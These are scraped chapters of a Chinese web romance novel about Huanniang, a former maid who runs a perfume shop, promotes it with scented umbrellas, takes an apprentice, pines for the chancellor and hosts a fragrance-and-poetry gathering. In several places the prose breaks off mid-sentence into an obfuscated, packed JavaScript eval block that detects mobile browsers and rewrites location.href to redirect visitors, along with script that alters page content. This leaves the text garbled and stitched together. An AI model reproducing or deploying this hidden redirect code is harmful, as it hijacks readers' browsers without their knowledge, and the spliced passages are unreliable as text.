想着,她便往爷怀里又缩了缩,这会儿疲惫的不想动,她感觉爷也没不高兴,所以能蹭一会儿,是一会儿。 却没想,不知不觉间就睡着了。 等再醒来时,外头太阳已在西下。 两人就在这狭窄的软榻上,挤了一个下午。 欢娘欲起身,倒是爷先下了榻,从屏风处走了出去。 再回来时,他换了身新衣,难得一见的红,暗红色华服,黑色暗纹,欢娘一下就看痴了。 红衣似火,灼眼夺目,偏偏穿在爷身上,不显张扬,反倒衬得那身姿愈发挺拔如松、风姿卓然。 墨发高束,面如冠玉,眉眼本就清俊凌厉,被红衣一映,更显肤色如玉、轮廓分明,俊美得近乎惊心动魄,叫人一时竟寻不出词句来形容。 他立在那里,似寒松燃火,清冽又灼人。 欢娘的眼里便全是他的红影,也忘了该如何思考。 她心跳的乱糟糟,不受控。 “换上,我送你回去。” 可下一刻却看到他拿着一套新衣,放到她身边。 一样是红色,只是爷穿的暗色,她的便靓丽的惊人,那颜色,一下就让欢娘联想到了新年的炮仗,还有成亲时那大红盖头。 “红的?” 欢娘手有些打颤,不确定的问了一句。 这样的颜色,是她能穿的吗? “送给陆老板的新年贺礼,你明日开门,穿这身正合适。” 爷他难得多话,解释了一句。 可说完就出去了。 欢娘看着那红色衣裳,心里涌现出一种难言的情绪,就好像心都被烫了一下。 片刻后,欢娘穿着新衣,带着一份羞怯,红着脸站在他面前。 萧怀停那平静的心被轻轻的撩拨着。 他给的是苏绣上品的正红锦缎,领口绣缠枝莲纹,袖口滚银线祥云,暗合新年纳福之意。 原是想着辞旧迎新,替她添几分喜气,并未多想其他。 “奴婢还是头一次穿这样鲜艳的衣裳。” 欢娘期盼他夸赞,就算是点头认可,那也成,否则她会很不自在。 可是爷他一点表情都没有。 只是拿出了一木盒,递给她。 “新年的礼物,这么多吗?” 她手上还带着爷给的价值连城的玉镯呢,这次,又会是什么好东西? 她有些期待,两眼发亮的打开。 可盒子里,却只是一页纸。 当欢娘看清内容后,心头一下就沉甸甸的。 是她落女户的文书,正经的户口,她现在是正儿八经的普通百姓了。 “我希望,明年的你,就用这个身份活下去。” 第九十八章送新衣,定情? 欢娘是已经死了,那个身份卑微,能随意打骂欺辱的小丫鬟,已经消声觅迹。 她要堂堂正正的活,那就要换一个新身份。 “陆青提,那爷以后,怎么唤我?” 欢娘心头突然有些酸酸的,她突然还想去抱一抱爷。 “看的表现。” 可爷的回答,却摩棱两口,让她摸不清。 欢娘莫名的想要再追问。 “时候不早了,走吧。” 但爷就没给她再追问的机会,看那神情似乎是还有些烦了,催她赶紧离开。 欢娘一路沉默,细品,可也摸不透爷那句话的意思。 小院门口,马车停了一下。 欢娘欲道谢,赶忙下车,却突然被爷揽住,不同早上的强取,温柔缠绵的吻,弄的欢娘心里好像很多蚂蚁在爬,痒痒的。 “明日,我会跟母亲去静安寺上香,初六归。” 直到她没了力气趴在他怀里时,爷才停下动作,声音带着被欲望控制的沙哑。 欢娘呆滞,傻傻的点了点头。 “那您一路小心,奴婢在这里等您回来。” 她不知该作何反应,只是眼巴巴的看着他,好像恨不得钻进他心里,跟着他走。 “嗯。” 欢娘不知怎么回到院子里的,脑子里只有最后爷对着她温柔浅笑的样子。 哪怕他话不多,可那一刻,她却在爷的眼里看到她的身影,一闪而过。 “总算是回来了,你干嘛去了,那么晚?” 刘嬷嬷从屋子里走出来,步伐匆匆,声音里都带着一丝急切。 可在看到光鲜亮丽,穿着红色新衣的欢娘时,愣住了。 “你这是……” “嬷嬷,奴婢方才看到相爷的车,刚刚走。” 欢娘身后,娥嫂子匆匆跑来,说话都带着喜悦。 刘嬷嬷立刻反应过来,笑的越发灿烂了,没说话,就是点头。 欢娘瞬间就觉得脸上火辣辣的。 她知道,自己现在很受宠,可除了高兴,心头却多了一丝异样的情绪。 有一些期待,她期待着和爷的下次见面。 和往常处心积虑想讨好他,得宠爱不太一样,她就想那么痴痴的等着,等到他回来。 “嬷嬷,咱们今晚也好好过个年吧,喝点酒,可好?” 欢娘红着一张脸,就连眼底都透着红。 刘嬷嬷就一直笑,一直点着头。 除夕夜,小院周围响起了劈里啪啦的炮仗声,隐约能听到附近欢声笑语。 刘嬷嬷也让勇哥在院子外放了炮仗,炸的烟火缭绕,呛的人咳嗽,可每张脸都透着笑意。 尤其是娥嫂子,竟是笑着笑着,就哭了。 “这院子,第一次这么热闹。” 他们夫妻两人,是老夫人的奴仆,一直都在这儿看守着小院,一直都冷冷清清,直到欢娘的出现,日子仿佛变了样。 晚上,一桌美食,四个人围坐在一起,喝着小酒,吃着丰盛的年夜饭。 只是欢娘是有身子的人,喝的酒是要少些。 让她意想不到的是娥嫂子居然还会唱小曲儿。 声音婉转动听,酒后坐着听,大有一种岁月静好的感觉。 只是相府的荒院子里,黑不见底的房间里,却听到呜咽呜咽的痛苦呻吟。 就如同那濒死的老乌鸦。 挣扎中,两只鲜红的人染在那窗户上,留下两道通红的血印。 没多久,下人举着火把赶来。 萧晋文步伐匆匆,走到门口,随行的大夫进了屋查探。 光一照,头发散落的女人倒在地上,手腕被割破,留了大片的血。 她一看到萧晋文,呜呜呜的爬上前去。 可萧晋文却冷漠无情的甩开。 “还好,伤的不重,止了血,便无碍了。” 半响后,大夫治疗完禀告。 地上那女人,宁从夏张嘴想说话,可却发出更加干涩难听的声音。 “宁从夏,别再用这样下三滥的手段来骗我,我不会再上当,我告诉你,如果不是因你肚子里的孩子,你爱死不死。” 萧晋文厌烦的扯过自己的衣袍,还嫌恶的当场就划破了。 宁从夏痛苦不堪,眼神凄苦。 “看紧了她,再受伤,或是有个头疼脑热的,去找大夫,别再来找我,总之,孩子生下来以前,别让她死了就行。” 萧晋文冷冷的丢下一句话,就离开了。 宁从夏急着要去抓住他。 可当他不再回头时,她连机会都没有。 一个不慎再次跌落在地,千言万语,却都堵在嗓子里,一个字也说不出。 她被毒哑了。 这晚,欢娘早早的就睡了,这个新年,让她感受到从未有过的踏实。 鲜红的新年衣服,被她小心翼翼的挂好,熨的平整,在月光下都散发着不一样的光辉。 那红色的光晕,好似吉兆,却又清冷了些。 翌日。 欢娘天还没亮便起来梳妆,去了凝香阁。 她到时,阿凝已经带着人在做大扫除了。 铺子很干净,但也有细小的灰尘,可做香膏的地方,必须要纤尘不染才行。 阿凝勤快的让欢娘很满意,而且让她做管事,她确实也做的极好。 有一点让她觉得奇怪,原先她在铺子里,似乎很懒散,和现在完全不同。 她觉得自己没做过什么,而且她记忆中,商铺里的店员可没那么自觉。 “老板,放了炮仗,咱们就能营业了。” 欢娘站在铺子里,正思索着,阿凝便笑着走了过来。 算了,走一步看一步,他们这样尽心尽力,对自己来说是好事。 “先把大家喊过来。” 说完,阿凝召集所有店员。 欢娘便去了下后院,然后提着手篮子出来,里面是早就准备好的喜钱,用红绳串好。 “新年讨个吉利,预祝大家今年心想事成,平安发财。” 她特意换成了铜板,因为她记得一直以来新年喜钱那都得用红绳串铜板。 “谢谢老板。” 众人看到她手篮里满满当当的喜钱,笑脸都隐约在发光了。 那一串钱是五百文,重约三斤,他们一共七名店员,阿凝作为管事,就是两串。 所以就重约二十四斤,能看出来老板很上心。 这份心意,当真是沉甸甸的。 “那就开门,营业吧。” 看来准备这份喜钱是对的,她以前做丫鬟时,也喜欢这些赏赐,她想店员和丫鬟,应该相通。 第九十九章你后台硬着呢,怪不得嚣张 “恐怕要等一下,这喜钱沉甸甸的,咱们得先收起来,否则这整天揣着,累的很。” 阿凝忍不住调侃了一句。 众人笑声开朗。 此时,外头的阳光,正好射了进来,早晨的光格外温和。 炮仗一炸,劈里啪啦的响声显得这里越发热闹了。 门刚打开。 第一位客人就上了门。 “给我打包三十份羊脂膏。” 李周氏,她着一身鲜红的新衣,大摇大摆的走了进来。 还是一贯的嚣张,但脸上却多了几分笑容,整个人看着都明艳了些。 欢娘觉得她看过来的眼神,都变得不大一样了。 “陆老板,新年好呀,祝你今年纳福又招财,事事如意。” 李周氏径直走到她面前,那双总是眼尾上翘,看不起人的眼神,这会儿好似平和了些。 欢娘看的直蹙眉,就她这副春风得意的样子,让她不得不多想。 欢娘微颔首感谢,淡淡的回应了一句“李夫人,同贺。” “不知您要那么多羊脂膏作甚?” 羊脂膏算是奢贵香膏里较为普通的,这些贵妇可不会用,平日里是街上那些小老板,富商买的多些。 “自然是拿去赏赐给下面的人,陆老板可要快些打包好,一会儿我便要带回去。” 李周氏颇有耐心的解释。 “阿凝,去准备。” 三十份,可是一笔大生意,新年开业的单子,好兆头。 这李周氏,怕是有特意来为她开张的嫌疑。 随后,她将人带上楼。 “李夫人,我先前说过,在治疗结束之前,不可同房,您还记得吗?” 欢娘一边准备东西,一边问道。 实在是今日的她,过于春风满面,喜色过人。 “记得。” 可李周氏却只是大大方方的回应,三下五除二的将衣裳褪去,泡进桶里。 “我那夫君,昨夜在宫里当值,没回来。” “说起来,我似乎没跟陆老板提过我夫君的身份。” 李周氏又道。 “嗯。” 欢娘心底琢磨着,看来不是因为夫妻和睦,李周氏才这般高兴,也许是有旁的喜事。 那就不关她什么事了,欢娘没想多问她的私事。 “我夫君是禁卫军指挥使,平日都在宫里当差……” 可李周氏今日偏偏要跟她唠嗑,除了她夫君的身份,还有她自己的。 御史大夫嫡女,指挥使正妻,身份十分尊贵。 李周氏说的兴致勃勃,可却看陆老板神色始终冷淡,就一心给她‘下药’,眼皮都没抬一下。 她突然有些无奈,人家曾是王女,如今又是和相爷相处,怪不得,看不上她这身份了。 可欢娘她纯粹只是不想听李周氏的家事而已,她怕一不小心,自己就被卷入她们的纷争。 李周氏想问她的过往,但想起初见面时她就十分冷淡,除了调香,其他一概不谈。 只怕现在问了也白问,她只会更不喜她。 “我有位堂妹,来年要议亲了,可她肤色有些偏黑,一直担心说不上好人家,不知陆老板这里,能有法子改善不?” “需见了人,才知晓。” 欢娘不大确定,调香手册里倒是有美白的一些配方,只是也要区分那人是先天黑,还是后天的。 若是后天,更要区分其原因,所以她不敢妄论。 李周氏这等身份,她只怕没效果,她就来砸店,所以格外慎重。 说的话,便有些敷衍。 可李周氏却不那么想。 “那回头我将人带过来,劳烦陆老板看看?” 她就觉得陆老板果然和旁的商人不同,她以前也找过老师傅,那些人为了赚钱,说什么都能干。 结果……自然是被她狠狠的收拾了一顿。 “嗯。” 欢娘应下。 等李周氏做完治疗离开时,三十份羊脂膏已经送上了马车,一共三十两白银。 一个时辰的功夫,店里也卖了些其他东西,一个早上就已经有了五十两的收入。 可真正热闹的还是在午后。 午饭后的街道上,人逐渐增多,约莫二里以外马戏团开始了精彩的演出。 东街这边,确实前所未有的热闹。 只是大家似乎都是为了看戏而来,店铺这边,倒是没多少人。 一时间,铺子的生意还没平日里好。 店员们脸上的喜色,也稍微淡了些。 “没关系,起码咱们也凑热闹了不是?” 阿凝站在门口望了望,安慰着大家,瞧着 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她取了个名字,名为欢愉香。 那也算是她自己凭着想法调配出来的,能让人放松,就最适合店铺使用。 李周氏来时,看到她们居然免费赠送纸伞,心头忍不住咂舌,陆老板还真是大气。 更没想到,在她走时,陆老板还给她也送了一把。 她下意识便要拒绝。 这纸伞,她多的是。 “店铺的新年礼物,李夫人是铺子里贵客,享受所有的礼物,还请您别嫌弃。” 欢娘柔声道。 李周氏坐在马车里,都能闻到那似有若无的,甜甜的香味,心情舒畅。 “那便多谢陆老板赠伞。” 她接过。 然后,当马车走了一段路,她下车时,撑起伞的瞬间,在那铺子里似有若无的甜香再次散开,将她整个人都笼罩其中。 李周氏抬眼,看了看这平平无奇的伞,眼里满是错愕。 “好香阿,什么味道?” 路边,走过的女子嗅了嗅,小声嘀咕着。 第一百章香味,让人难忘 李周氏顿时就有种说不上的感觉。 可从来没有在外面走着走着,被人讨论过,她很香? 她竟是下意识就想逃开。 “夫人,这伞,好像另有玄机。” 身旁的大丫鬟一提醒,她才后知后觉。 而此刻凝香阁门口,热闹的跟赶集一样,而且人群全都围了上来。 门口,欢娘不知从何处请来了一位秀雅端庄的女子,正打着伞接待那些来免费领伞的女子。 “我们老板昨日见来看戏的人多,可外头太阳晒的厉害,姑娘家皮肤娇贵的很,瞧着晒破了实在可惜,所以今日便在此处备了伞,凡是需要的,都能拿。” “不过阿,有个条件,就是希望大家好好排着队,切勿拥挤,哄抢,老板说了,保证人人都有。” 那姑娘声音很大,在场人都听的清清楚楚。 一时间,都议论纷纷,再三确认当真是免费,不需要进店买东西? 然后便有人带头去拿伞,众目睽睽之下,一把又一把的伞免费赠予。 没一会儿,就送了半箱出去。 “什么味道?那么香?” 然后也有来的女子,闻着味道就进了铺子,也有些好奇的,纷纷走进去。 女子爱美,天生喜欢香料,这一早上,七个店员在铺子里忙的脚不沾地,脸都笑僵硬了。 而且才只是开始。 之后一连三天,来看戏的人,倒是都先来凝香阁门口拿伞。 只因那伞居然是个宝贝,遮阳是基本功能,奇异的是只要打开,就能闻到那股甜香,让人一整天都是舒适的。 有人慕名而来,人越来越多。 到第三天时,队伍甚至排到了晚上。 直到送完最后一位女客,欢娘累的长输了口气。 “快,关门。” 那一刻,关个门跟逃命似的。 “天哪,这两天的生意也太好了,老板,你可真聪明,能想到这主意。” 店员忍不住震惊。 欢娘也没想到,生意能这般好。 她的本意,只是要为凝香阁宣传而已,哪里想到吸引过来的人,当真会进店买东西,而且还不在少数。 “咱们这三天,怕是把店里的库存都卖空了,明日若在开门,没东西可卖。” 阿凝从库房里出来,苦着一张脸。 “而且,那油纸伞一把的成本,至少在150文,送出去至少五百把了,可并非所有人都进店买东西,这一笔买卖,还不知亏没亏钱呢。” 阿凝又道。 因为生意虽好,但这么忙如果不赚钱,岂不白搭? “左右这账也算不明白,等账房先生回来算了就知道,而且伞送出去了,咱们凝香阁的名气也就传出去了,那伞里我另外加了些东西,保准让用伞的人,对咱们念念不忘。” 欢娘也没底,她想着这一波恐怕是亏钱的。 但若是吸引了更多人,能让东街以外,其他那些人知道这里,就不算亏。 名声,重要极了。 “既然东西卖空,咱们就歇一歇,这几天放假休息,初八再开门。” 她也没料到,先前辛苦那么久做的香膏,就短短几日卖了个精光。 爷要初六才归,她又不想初六开门做生意,所以定了初八的日子。 这几日,她就在家,继续多做些香膏就是。 只是等关了门,外头已经黑了,看着清冷的街道,欢娘有些慌。 这大半夜的,她一个人走回去,会不会有危险? 而且真的有些累,这两日她感觉到自己身体沉甸甸的。 然后她就摸到了口袋了爷送给自己的哨子。 她鼓起勇气的吹了一下。 下一刻,一道黑影,说出现就真的出现了。 那人立在她面前,看到那张脸时,欢娘惊住了。 “是你?” 穿着黑衣,脸也黑,而且极其的魁梧。 那不就是前些日子在她面前出现过的黑汉吗? “原来你是乌鸦?” 欢娘忍不住问道。 大高个点了点头,往后退了两步,隐没在黑暗中,一下就看不到脸了。 “需要给您带路吗?” 乌鸦的声音很平静,可却让欢娘十分安心。 她点了点头。 忽然想起,第一次见乌鸦,是在承德院里,小翠要放东西陷害她,乌鸦一马当先冲了出来。 第二次,是被蛇咬。 她还以为,爷一直看不上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而李周氏这里的订单,是一个接着一个。 两百份的羊脂膏,倒也不难,只是欢娘现在没太多精力,店铺要卖的香膏,她也还没做。 “倒是不着急,可以元宵节过后再来取。” 李周氏见她为难,说可以缓几天。 “陆老板若是都亲力亲为,未免太辛苦,何不带个学徒呢?” 第一百零一章他带了个女人回来 她似乎看出了欢娘的为难。 “那些铺子的老板,可极少动手做这些,学徒就有不少……” 李周氏告诉她,就她见过的铺子,可不是这么经营的。 欢娘若有所思。 等送走李周氏以后便去了黑市。 这里一如既往的热闹,并没有因为过年,有什么变化。 又或者说,反而是流动的人变少了。 欢娘来找二虎,他依旧在柜台前打瞌睡。 似乎生意并不好做,但欢娘知道他在这里开铺子,可不是为了卖那些假玉。 “孙安还在你这儿吗?” “在,你考虑好了?” 二虎一听,眼睛都亮了。 “嗯,如果他跟着我出去,就得听我的,是不是做什么都愿意?” 二虎毫不犹豫的点头。 在他看来,只要清白做人就行。 随后,欢娘就把人给带走了。 孙安一路很乖,而且沉默。 欢娘带着人出来,顺路就把要用的香料一股脑的买好,量大的让店家送,少的便让孙安提着。 再次回到凝香阁以后,欢娘交代他把东西放好。 “从今天开始,你便跟在我身边做学徒,学调香,每月给你一两银子的零花,管吃住,就住在凝香阁,如何?” “做学徒,还有工钱?” 孙安很意外。 “嗯,你那二叔,给我的条件很优厚,我自然要优待你。” 欢娘想了想,觉得二虎是在乎这侄子的,所以实事求是,说的清楚。 孙安沉默了。 垂着头不知在想什么,过了好久才鼓足了勇气。 “我一定好好干。” 欢娘这就收了一个学徒,带着他,一起调香。 因为过两日相爷便回来了,她这些日子得赶紧把活儿都干完。 于是,别人休息时,欢娘又埋头苦干了两日。 初六这日。 一早,欢娘便换上了新做的衣裳。 她知道爷素来喜爱红梅,所以特地做了一身洁白的锦缎襦裙,样式简单,只在领口绣上两只交缠的红梅。 裙摆到脚踝,走起路来都十分轻盈。 她想阿想,本想写信给爷,可又觉得,那样太慢了。 所以带着面具,打着伞,她站在相府对面的巷子里等待,只希望,能马上见到他。 从早上到下午,时间过的极慢,可她等待的每一刻都充满额了期待和向往。 甚至只要想到一会儿能见到爷,嘴角的笑意根本就藏不住。 终于,在午后,阳光最是明媚时,欢娘看到了熟悉的马车,缓缓逼近。 她紧张的手心冒汗,无意识的揉捏着帕子,几乎要搅成死结。 从来没有像此刻般,期待过爷的出现。 她痴痴的望去,那车好像静止了一般,过了很久,才到相府门口。 当看到相爷下车的瞬间,欢娘便想走出去。 可是他却突然转身,抬起手,看向那马车。 老夫人的车似乎还在后面,欢娘蹙了蹙眉。 一抹白色身影,就那么猝不及防的撞进了她眼里。 浑身雪白,白的发光。 她一头青丝如泼墨泻下,长及腰际,不见半分杂色。 风拂过时,发丝轻扬,顺滑得似浸过冷泉凝露,亮泽如浸了月华,只轻轻一拢,便垂落如瀑。 发间一根绿梅玉簪拢住一缕长发,她就像是那一直住在千里冰封的雪地里的仙,突然闯进了凡尘。 她戴着斗笠,看不清面容。 可欢娘清楚的看到,爷拉着她的手,亲自扶她下车,两人并肩同行,往府内走去。 一黑一白,都清贵的不似凡尘的俗人。 欢娘失神片刻,早就不去想着打招呼了。 只想赶紧离开这里,免得被相爷发现。 等匆匆的回到家里,欢娘低头看自己精心打扮的样子,再看镜子里那艳丽的妆容。 她突然就觉得,自己是那么俗气,一张脸长得那么……媚俗。 还有那衣裳,白色根本就不适合自己。 只有相爷身旁那女子,穿着白衣,才最好看。 良久,她叹了口气。 疲惫感袭来的她,卸了妆,看着那身别扭的衣服,她毫不犹豫的脱了。 然后睡了一觉。 等再醒来时,已经是傍晚。 她站了一个上午,便睡了一个下午。 看着日头落下,欢娘出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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早上醒来时,欢娘总觉得,应该会来看她了,可过一日,她便安慰自己,爷很忙,没空。 便又等了一日。 连续三日她都在家里等待。 “你近来可是不大舒服?要去请大夫吗?” 还是刘嬷嬷先发现了她的不对劲。 食欲不振,而且还总是一副心不在焉的样子。 平日里她可精神抖擞的,一双眼睛更是亮的惊人,尤其是前几日,明明累的很憔悴,嘴角都掩不住的笑。 可现在,那嘴角就没翘过,眼皮塔拉着,整个人看着都不好。 “不用,我挺好的。” 她身体好的很,孩子也好好的,不折腾人,所以根本不需要看大夫。 只是心里沉甸甸的。 “我去铺子里。” 也罢,等了这么久,他若要来,早就来了,既然不来,那也不用再等。 欢娘收敛了情绪,去凝香阁。 却没想生意异常的火爆。 一点也不比新年那两日赠伞来的差。 她站在门口,还有些失神。 只看到学徒孙安都在大堂里,忙的跟只猴子一样,上蹿下跳。 那些店员一个个的笑容灿烂如花,手上动作也飞快。 她走进后院,竟是也没注意到。 可后院的陆寒洲,罕见的没有捧着书苦读,反而是账本在手,算盘珠子拨的啪啪响。 直到欢娘走进屋,打断了他的动作。 他起身,看她时,眼底竟多了一些笑意。 “老板真是好谋算,在下休息这几日,店铺生意大好,就这一共六天的流水已经抵得过先前半月的了” “那赚钱了吗?” 欢娘并没觉得这是好事,流水大,可利润不高,而且她还白送了东西。 也许这几日,亏了不少呢。 “你看。” 陆寒洲却故意卖起关子,不说话,只是一味拿出账本,让欢娘自己看。 其实亏了多少都行,她现在觉得,做生意本来就没有一定赚钱的,平常心。 可就在看到账本上的数字时,她还是愣了一下。 “没算错吗?” 她脱口而出,追问。 然后去翻看前面的记账。 可看是看了,却没看懂。 “能抵一个月的流水,但盈利也只有半个月的,这几天盈利所得三百两,当然,不包括那位李夫人在本店的存款,因为她还没开始买货。” 陆寒洲语气里都带着几分笑意,还有一些调侃。 欢娘翻了又翻,心里还是不大确定,居然真的赚钱了? “凝香阁卖的是调香师的手艺,并非香料耗材,虽说成本低,但人工价值,才是最高的。” 陆寒洲的声音再次响起,这次倒是正经了许多。 他似乎觉得,赚钱才是意料之中。 “老板当真有经商之才。” 接下来一句话,夸的欢娘有些羞愧,其实她还没那么高的远见。 无非也就是为了吸引人气而已,而且看今天的生意,她的决定,没错。 “你过年去了何处?” 关于户口的事情,欢娘心里还是会过意不去,总想着先找机会跟他说个清楚。 “上坟,给我的亲人烧纸钱。” 陆寒洲淡笑着回应。 却说的欢娘突然没了开口的勇气。 “阿凝说,老板还给我也准备了喜钱,谢谢。” 他又道。 然后从钱袋子里掏出了红线,串着五个铜板。 “太重,其他的我藏起来了。” 所以他带了个心意在身上。 “每个人都有。” 欢娘实在不好再开口。 她对这位账房先生,知之甚少。 “陆先生,我想办个活动,需要你帮忙。” 算了,户口的事情,等找到合适机会再说,当下还是先谈生意。 如今生意这般好,人多,正是推出新品的大好机会。 年前她就已经照着香册做好的香薰,也是时候推出了。 翌日一早。 欢娘便印好了名帖,一半给了陆寒洲,让他发出去,另一半便放在店里,专门设置一个展区。 凝香阁于正月十二,要办鉴香吟诗会,宴请旧客以及文人墨客一同品鉴新的香品。 只要是进店买过东西的顾客,一律发放名帖,当日凭着名帖进店。 欢娘就坐在二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17302779|198667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼,静静的看着那些拿了名帖的女子。 倒是不乏世家贵女的丫鬟,她还瞧见华贵的马车在门口停留。 心里暗暗松了口气。 正月十一,凝香阁暂停营业,布置会场。 欢娘虽然没有举办宴会的经验,可在那些贵人家里干活多年,她见识过不少。 排位,展品,还有这现场氛围,她略懂,再加上陆寒洲是名秀才。 参加过的诗会也不在少数。 总之见过的多了,自然就会了。 凝香阁大堂,撤去了那些柜台,放上桌椅,楼上靠着楼梯这一面的房间全部打开,一共二十个作为环绕着楼下看台。 余下的细节布置,欢娘倒是擅长。 她一门心思的想要新品面试,让众人看一看她新调配的香。 正月十二,未时。 最烈的日头刚过,凝香阁外马车一辆辆的前来。 世家贵妇,书香闺女,白衣书生便纷纷入场。 阿凝站在门口,招待诸位进门,昨日发出去的名帖,今日多了一样东西。 那便是各家贵女的名讳。 她瞧着名字,安排位置。 “请问……我们可以进去吗?” 贵女们依次入场后,有两位做寻常打扮的姑娘拿着名帖,也走了过来。 她们问的小心翼翼,还有些忐忑。 阿凝记得她俩,正是过年时领了伞,后来到铺子里买羊脂膏,而且还讲了价的。 看穿着打扮,应该只是普通人家。 “当日,有名帖便能进。” 阿凝正欲说什么,欢娘来了。 她一身紫衣,面具遮脸,气度非凡。 只是阿凝一眼看去,却感觉老板她最近是不是又胖了些?微风下,小腹藏也藏不住。 “真的可以?那些人一看就身份尊贵,我们进去会不会打扰到她们?而且……我们可能也买不起陆老板调配的新香。” 小姑娘一听可以,反而担心上了,而且满脸惆怅。 “买不起,那便凑凑热闹,你们既都是凝香阁的客人,便有这资格进这门。” 欢娘看着她们,只觉得亲切。 她如今不过是外皮包装的好了些而已,可实际上呢? 第一百零三章这是我的主场 “两位姑娘,这边请。” 阿凝见老板这么说,便将两位都请了进去。 “这么安排,会不会让那些贵女看不上咱们凝香阁?” 阿凝有些发愁。 要知道那些贵女们可最讲究排场了,若是让她们看到她们居然和普通女子一同参加鉴香会,恐会不喜。 “怎会呢?这样的雅事,还有许多观众能一睹芳华,我倒觉得今日那些贵女会很积极。” 欢娘却觉得这些喜欢品茶鉴香的贵女们,是喜欢观众的,否则怎能让别人看到她们的优秀,又怎么突出她们的与众不同呢? 楼内。 二楼视野极好,所有的窗户都开着,桌子就放在窗前,一个屋子两个桌子,四个椅子,中间还有屏风相隔。 “这场面,倒是热闹的很。” 最里侧,一位中年的妇人端坐在那里,喝着热茶,看着楼下一排排座椅,逐渐被人填满。 眼角微微上挑,竟是有着些许兴味。 “是阿,左边是文人学士,右边是寻常百姓家,风华正茂的女子,也有穿金带银的商户。你说咱们以前受邀去参加那些个什么香宴,可见不到这么多人。 那妇人身旁,是李周氏。 只见一贯张扬的李周氏,今日在这妇人身边,竟是安静规矩了许多。 可瞧着那妇人年纪,也就年长李周氏五六岁而已。 那妇人点了点头,便继续看着这出热闹。 欢娘早已去了后院准备。 而门口,阿凝清点了下名帖,人都到齐了,正欲关门时,身后却传来了一道清冷的声音。 “等等。” 一抹清冷的气息扑来。 阿凝回头看去,只见一白衣女子朝着她漫步走来。 微风吹拂着衣裳,透着一股冷梅香,那女子带着面纱,看不清面容。 “您是?” 总不至于是今日的客人才是。 阿凝礼貌追问。 “师傅,外头都已经做好了,那现在是不是……” “那便上香吧,记住我方才教你的,楼上是贵客,要客气规矩些。” 欢娘将那香炉全部点燃,一股似有若无的香味铺散开。 可似乎不浓郁,很快又消失了。 “是,师傅。” 孙安端着香炉,行了礼往外去。 很快,二十个独立的小包厢里,青烟袅袅,一股清冷的香味蔓开。 但起初并不明显,也没人在意。 楼下,座位的左右两边,也燃着香薰。 下面的人都侃侃而谈,带着笑。 陆寒洲招待着同窗,好友,在人群中穿梭,那张总是冷着的脸,此刻有了细微的变化,好像还是冷着脸的,但细看,眼神都亮了些许。 “陆兄,那就是你阿姐吗?” 突然,一个圆滚滚的胖子,抓准了陆寒洲的衣袖,两眼发亮的指着他身后。 陆寒洲下意识身体紧绷,额角冒出了细汗。 吵闹的声音戛然而止。 随之而来的是一阵清脆的铃铛响声。 随着走动,发出声响,众人的目光,也朝着那人看去。 欢娘稳步走上台。 姿态端庄,可那也是现学的,她记得伺候的主子,都是那么走路。 短短几步路,她走的很慢,生怕出错,被人笑话。 如今她可是凝香阁的老板,不代表她个人,绝不能有差错。 陆寒洲回头望去,看到老板缓步走来。 身上那套紫衣,还有脸上面具,自带着神秘气息。 只是她衣裳宽大了些,瞧着不如往日轻便,倒是更端庄了些。 一眼看去,竟当着和那些贵女们,没什么区别。 “陆兄,你阿姐为何戴着面具?” 旁边小胖子看到台上的人,就更好奇了,低声追问。 这一问,旁的人也都投来好奇目光。 “女子在外,总有些不方便。” 他很紧张,篡紧了手心,在出汗。 虽说这姐弟身份是老板说的,老板让他以兄弟的名声,邀请才子来参加宴会。 可到底是假的。 他就怕被拆穿。 “也是,想你先前的家境……让你阿姐出来做生意,真是难为人,但她可真厉害。” 小胖真心的夸赞。 可旁的人,想法各异,就连眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17302780|198667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不同,有的更是带着几分不怀好意的打量,或是轻蔑。 “很高兴大家能赏脸,参加凝香阁第一次举办的鉴香品诗会,我是凝香阁老板,姓陆……” 欢娘沉着气,站在台上,缓缓开口。 不管别人怎么看,反正她必须镇定,哪怕没有任何底气,但面上不能让人看出破绽。 脑海中自然浮现相爷的一举一动,她便照着来,就连说话的语气,都发生了微妙的变化。 “今日新品,名为沉水云心露,亦是我凝香阁镇店之宝,也只此一瓶,现在诸位身旁用的是此香露残料所制香薰。” 欢娘说着,楼上楼下宾客皆看向香炉,面露诧异。 “那就是镇店之宝吗?似乎不太香。” 有人闻了闻,又用力的嗅了嗅,眉宇间染上了一抹疑惑。 “可她说是沉水云心露,可是沉水香的沉水?” 有人轻声疑惑。 “这沉水云心露极难调配,但我相信在此皆是爱香之人,所以……还请大家配合,玩个游戏,请诸位仔细品鉴这香露,谁能说出最多成分,便是今日胜者,凝香阁自当奉上奖品。” “在座所有人,都能参加。” “当然,诸位才子学识渊博,若能以诗描形,亦是胜者,若有佳品,凝香阁愿重金买下。” 她说的言简意赅。 